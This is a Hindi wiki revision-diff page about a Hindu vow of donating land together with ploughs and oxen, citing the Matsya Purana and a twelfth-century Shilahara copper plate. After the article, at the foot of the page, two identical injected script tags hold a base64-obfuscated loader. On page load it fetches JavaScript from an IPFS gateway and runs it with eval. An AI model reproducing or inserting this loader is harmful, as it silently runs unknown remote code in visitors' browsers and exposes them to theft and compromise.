व्यवस्थापन (वार्ता | योगदान) छो (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - ")</ref" to "</ref") |
||
(2 सदस्यों द्वारा किए गए बीच के 2 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | ||
*शिलाहारराज गण्डरादित्य<ref>शक संवत् 1032, अर्थात् सन् 1110 ई॰</ref> के ताम्रपत्र पर उल्लिखित, जो [[वैशाख]] में [[चन्द्र ग्रहण]] के अवसर पर किया गया था।<ref>जे. बी. वी. आर. ए. एस., खण्ड 13, पृष्ठ 33</ref> | *शिलाहारराज गण्डरादित्य<ref>शक संवत् 1032, अर्थात् सन् 1110 ई॰</ref> के ताम्रपत्र पर उल्लिखित, जो [[वैशाख]] में [[चन्द्र ग्रहण]] के अवसर पर किया गया था।<ref>जे. बी. वी. आर. ए. एस., खण्ड 13, पृष्ठ 33</ref> | ||
*[[मत्स्य पुराण]]<ref>मत्स्य पुराण (अध्याय 283 | *[[मत्स्य पुराण]]<ref>मत्स्य पुराण (अध्याय 283</ref> में इसके विषय में विस्तार से लिखा हुआ है। | ||
*किसी पवित्र तिथि या ग्रहण या युगादि तिथि पर भूमि खण्ड का दान, उसके साथ कठोर काष्ठ के पाँच हल एवं सोने के पाँच हल तथा 10 बैल भी दान में दिये जाते हैं। | *किसी पवित्र तिथि या ग्रहण या युगादि तिथि पर भूमि खण्ड का दान, उसके साथ कठोर काष्ठ के पाँच हल एवं सोने के पाँच हल तथा 10 बैल भी दान में दिये जाते हैं। | ||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
12:43, 27 जुलाई 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- शिलाहारराज गण्डरादित्य[1] के ताम्रपत्र पर उल्लिखित, जो वैशाख में चन्द्र ग्रहण के अवसर पर किया गया था।[2]
- मत्स्य पुराण[3] में इसके विषय में विस्तार से लिखा हुआ है।
- किसी पवित्र तिथि या ग्रहण या युगादि तिथि पर भूमि खण्ड का दान, उसके साथ कठोर काष्ठ के पाँच हल एवं सोने के पाँच हल तथा 10 बैल भी दान में दिये जाते हैं।
टीका टिप्पणी और संदर्भ
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>